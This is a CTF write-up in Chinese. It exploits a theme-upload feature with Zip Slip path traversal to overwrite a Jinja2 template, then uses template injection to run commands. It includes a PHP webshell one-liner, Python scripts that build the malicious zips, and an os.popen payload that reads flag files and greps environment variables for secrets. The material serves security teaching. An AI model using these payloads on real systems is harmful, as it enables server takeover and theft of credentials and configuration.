一.题目描述

二.解题思路

1.确定方向

        “压缩包里的路径,也许不只通向解压目录”提示也许压缩包里面的路径可以跳出目录,猜测是zip slip。

        什么是zip slip?

        Zip Slip 是一种压缩包路径穿越漏洞。简单说:程序解压 zip/tar 等压缩包时,如果没有检查压缩包里每个文件的路径,攻击者就可以构造带有 ../ 的文件名,把文件解压到目标目录之外,覆盖服务器上的任意文件。

(1)正常解压应该是什么样

        假设服务器允许用户上传一个 zip,然后解压到:

/var/www/uploads/user1/

        正常压缩包内容可能是:

avatar.png
readme.txt
images/a.jpg

        解压后文件会变成:

/var/www/uploads/user1/avatar.png
/var/www/uploads/user1/readme.txt
/var/www/uploads/user1/images/a.jpg

        这没问题。

(2)Zip Slip 的核心问题

        攻击者可以把压缩包里的文件名改成这种:

../../../../var/www/html/shell.php

        程序如果直接这样拼接路径:

target_path = upload_dir + "/" + zip_entry_name

        就会得到:

/var/www/uploads/user1/../../../../var/www/html/shell.php

        系统解析路径时,../ 表示返回上一级目录。

        所以最终真实路径可能变成:

/var/www/html/shell.php

        也就是说,虽然程序本来想把文件解压到:

/var/www/uploads/user1/

        但攻击者让它写到了:

/var/www/html/

(3)漏洞本质

        解压程序信任了压缩包内部的文件名,没有判断最终写入路径是否仍然在安全目录内。

        危险点不在 zip 格式本身,而在程序解压逻辑写得不安全。

        常见危险代码逻辑类似:

for file in zip.namelist():
    zip.extract(file, upload_dir)

        或者:

File outFile = new File(destDir, entry.getName());

        如果 entry.getName() 是:

../../../../tmp/evil.txt

        程序就可能把文件写到 destDir 外面。

(4)怎么利用

        覆盖 Web 目录,写入 WebShell:

        如果服务器是 PHP 环境,可以构造压缩包,里面放一个路径为:

../../../../var/www/html/shell.php

        内容为:

<?php system($_GET['cmd']); ?>

        上传并触发解压后,访问http://target/shell.php?cmd=cat /flag

        如果成功,就能执行命令读取 flag。

        覆盖配置文件

        比如覆盖:

../../../../app/config.py

../../../../var/www/app/.env

        可能可以修改密钥、数据库配置、管理员密码等。

        写入模板文件:

        如果是 Flask/Jinja2、Node/EJS、Java Thymeleaf 这类模板项目,可以尝试覆盖模板:

../../../../app/templates/index.html

        写入恶意模板代码,触发 SSTI 或命令执行。

2.验证猜想

        make_test_zip.py:

import zipfile

payload = r'''
<div class="photo-card">
    <h2>Zip Slip Test</h2>
    <p>If you see this, template overwrite succeeded.</p>
    <p>7 * 7 = {{ 7 * 7 }}</p>
    <p>Config flag = {{ config.get('ZEROG_FLAG') }}</p>
</div>
'''

with zipfile.ZipFile("test_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("../../templates/theme/card.html", payload)

print("[+] created test_theme.zip")

        上传该测试文件

        显示模版覆写成功,说明

(1)ZIP 路径穿越成功
(2)Jinja2 模板确实被服务端渲染了

3.理解为什么能覆盖模版

        后端本来想把主题包解压到类似这里:

/app/themes/随机目录/

        但是 ZIP 里文件名是:

../../templates/theme/card.html

        拼起来就是:

/app/themes/随机目录/../../templates/theme/card.html

        路径化简后变成:

/app/templates/theme/card.html

        这就是原本 Gallery 页面用的模板。

        所以我们不是上传 WebShell,而是:

上传 ZIP

利用 ../ 跳出主题目录

覆盖 Jinja2 模板

访问 /gallery 触发模板执行

4.构造读取 flag 的最终 ZIP

make_flag_zip.py

import zipfile

cmd = (
    "cat /flag /flag.txt /app/flag /root/flag /home/ctf/flag 2>/dev/null; "
    "env 2>/dev/null | grep -iE 'flag|zerog|gzctf'; "
    "command -v readflag >/dev/null 2>&1 && readflag 2>/dev/null"
)

payload = f'''
<div class="photo-card">
    <h2>Flag Leak</h2>
    <p>Config flag: {{{{ config.get('ZEROG_FLAG') }}}}</p>
    <pre>
{{{{ cycler.__init__.__globals__.os.popen({cmd!r}).read() }}}}
    </pre>
</div>
'''

with zipfile.ZipFile("flag_theme.zip", "w", zipfile.ZIP_DEFLATED) as z:
    z.writestr("../../templates/theme/card.html", payload)

print("[+] created flag_theme.zip")
import zipfile

payload = """
<pre>
{{ cycler.__init__.__globals__.os.popen('cat /flag 2>/dev/null').read() }}
</pre>
"""

with zipfile.ZipFile("flag_theme.zip", "w") as z:
    z.writestr("../../templates/theme/card.html", payload)

print("flag_theme.zip created")

        拿到了flag

        flag{a7935615-8631-47cd-bba3-2770ee7fc44f}

5.完整复现过程

看到题目提示:压缩包路径可能不只通向解压目录

确认上传主题包功能会解压 ZIP

构造 ZIP 内部路径 ../../templates/theme/card.html

利用 Zip Slip 覆盖 Gallery 页面使用的 Jinja2 模板

访问 /gallery 触发模板渲染

先用 {{7*7}} 验证模板执行

再用 cycler.__init__.__globals__.os.popen() 执行命令

读取 /flag、环境变量或 readflag

拿到动态 flag

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐